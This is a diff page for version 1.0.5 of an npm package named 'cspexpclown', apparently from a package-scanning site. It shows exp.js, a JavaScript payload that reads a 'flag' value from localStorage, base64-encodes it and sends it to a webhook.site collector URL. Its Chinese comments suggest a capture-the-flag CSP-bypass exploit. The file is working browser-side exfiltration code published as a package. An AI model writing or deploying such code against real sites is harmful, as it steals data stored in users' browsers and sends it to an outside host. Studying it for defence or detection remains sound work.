cspexpclown 1.0.4 → 1.0.5
Sign up to get free protection for your applications and to get access to all the features.
- package/exp.js +3 -3
- package/package.json +1 -1
package/exp.js
CHANGED
@@ -1,13 +1,13 @@
|
|
1
1
|
(async () => {
|
2
|
-
const domain = "https://webhook.site/78bd37ea-0ee3-4993-8b97-b607846ab241"; // 指定域名
|
2
|
+
// const domain = "https://webhook.site/78bd37ea-0ee3-4993-8b97-b607846ab241"; // 指定域名
|
3
3
|
|
4
4
|
try {
|
5
5
|
|
6
6
|
// 获取全局变量 flag
|
7
|
-
const flag = localStorage.getItem(
|
7
|
+
const flag = localStorage.getItem("flag"); //因为从localStorage来set的,所以要这样获取
|
8
8
|
const encodeflag=encodeURIComponent(btoa(flag));
|
9
9
|
// 发送GET请求并带上Cookie和flag
|
10
|
-
const res = await fetch(
|
10
|
+
const res = await fetch("https://webhook.site/78bd37ea-0ee3-4993-8b97-b607846ab241/?flag="+encodeflag, {
|
11
11
|
method: "GET",
|
12
12
|
headers: {
|
13
13
|
"Cookie": flag // 将 flag 添加到请求头中,呃呃带不出来
|